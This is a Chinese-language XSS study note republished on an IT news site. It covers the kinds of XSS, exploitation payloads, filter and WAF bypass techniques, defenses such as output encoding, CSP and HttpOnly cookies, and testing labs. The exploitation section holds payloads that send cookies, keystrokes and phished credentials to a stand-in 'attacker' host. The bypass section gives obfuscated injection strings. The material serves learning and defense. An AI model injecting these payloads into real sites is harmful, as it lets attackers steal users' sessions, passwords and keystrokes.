主页 > IT业界  > 

xss漏洞

xss漏洞
XSS漏洞学习笔记
1. XSS漏洞基础 1.1 定义

跨站脚本攻击(Cross-Site Scripting,XSS)允许攻击者将恶意脚本注入到网页中,当其他用户访问时触发脚本执行,常用于窃取用户会话(Cookie)、钓鱼攻击、键盘记录等。

1.2 漏洞成因

未过滤用户输入:用户输入的数据被直接输出到页面。

输出未编码:动态生成的页面未对特殊字符(如 <, >, &)进行转义。


2. XSS分类 2.1 反射型XSS(Reflected XSS)

特点:恶意脚本通过URL参数注入,受害者点击构造的链接触发。

场景:搜索框、错误页面等直接返回用户输入的内容。

示例:

http://example /search?q=<script>alert(1)</script>   2.2 存储型XSS(Stored XSS)

特点:恶意脚本存储到服务器(如数据库),页面每次加载时自动执行。

场景:留言板、用户昵称、文章评论等持久化数据的位置。

示例:

html

用户留言:<script>stealCookie()</script>  

运行 HTML

2.3 DOM型XSS(DOM-based XSS)

特点:漏洞由前端JavaScript动态操作DOM引发,不依赖服务器响应。

场景:通过document.location、window.name等获取参数并输出到页面。

示例:

javascript

// 假设页面代码:   document.write("<div>" + location.hash.slice(1) + "</div>");   // 攻击URL:   http://example #<img src=x οnerrοr=alert(1)>  
3. XSS利用方式 3.1 窃取Cookie

Payload:

html

<script>fetch('http://attacker /?cookie='+document.cookie)</script>  

运行 HTML

3.2 钓鱼攻击

Payload:

html

<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white">   <h1>系统升级,请重新登录:</h1>   <form action="http://attacker /steal" method="POST">     <input type="text" name="username">     <input type="password" name="password">   </form>   </div>  

运行 HTML

3.3 键盘记录

Payload:

javascript

document.addEventListener('keypress', (e) => {   fetch('http://attacker /log?key=' + e.key);   });   3.4 绕过CSP(Content Security Policy)

利用外部域名:若CSP允许unsafe-inline或特定域名,引入外部脚本:

html

<script src="http://attacker /malicious.js"></script>  

运行 HTML

JSONP劫持:利用网站开放的JSONP接口窃取数据。


4. XSS绕过技巧 4.1 基础绕过

闭合标签:

html

"><script>alert(1)</script>  

运行 HTML

事件处理器:

html

<img src=x οnerrοr=alert(1)>   <svg/οnlοad=alert(1)>  

运行 HTML

伪协议:

html

<a href="javascript:alert(1)">点击</a>  

运行 HTML

4.2 编码混淆

HTML实体编码:

html

<img src=x οnerrοr="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">  

运行 HTML

Unicode编码:

javascript

<script>\u0061\u006c\u0065\u0072\u0074(1)</script>  

Base64编码(需配合data:协议):

html

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>  

运行 HTML

4.3 绕过WAF/过滤器

拆分关键字:

javascript

<scr<script>ipt>alert(1)</scr</script>ipt>  

利用JavaScript函数:

javascript

eval('al' + 'ert(1)');   String.fromCharCode(97,108,101,114,116,40,49,41); // alert(1)  

利用HTML标签属性:

html

<input type="text" value="" autofocus οnfοcus=alert(1)>  

运行 HTML

4.4 高级绕过技巧

模板字符串注入(针对Node.js应用):

javascript

`${alert(1)}`  

Shadow DOM:

html

<div><template shadowroot="open"><script>alert(1)</script></template></div>  

运行 HTML

Service Worker劫持:

javascript

navigator.serviceWorker.register('malicious-sw.js');  
5. XSS防御方案 5.1 输入验证与过滤

白名单过滤:仅允许特定字符(如字母、数字)。

黑名单过滤:删除或转义 <, >, &, ", ' 等危险字符。

5.2 输出编码

HTML实体编码:将 < 转为 <,> 转为 >。

JavaScript编码:使用 \xHH 或 \uXXXX 编码特殊字符。

5.3 安全HTTP头

Content Security Policy (CSP):

Content-Security-Policy: default-src 'self'; script-src 'self' trusted.cdn ;  

HttpOnly Cookie:防止JavaScript读取敏感Cookie。

5.4 框架安全特性

React:自动转义JSX中的变量(除非使用dangerouslySetInnerHTML)。

Vue:{{ data }} 默认转义,v-html 需谨慎使用。


6. 测试工具与资源 6.1 工具

Burp Suite:拦截和修改HTTP请求,测试XSS Payload。

XSS Hunter:自动化检测XSS漏洞并收集数据。

BeEF(Browser Exploitation Framework):浏览器攻击框架。

6.2 靶场推荐

PortSwigger XSS Labs:系统化XSS练习环境。

DVWA(Damn Vulnerable Web Application)。

XSS Challenges(如printenv at xss-quiz.int21h.jp)。

标签:

xss漏洞由讯客互联IT业界栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“xss漏洞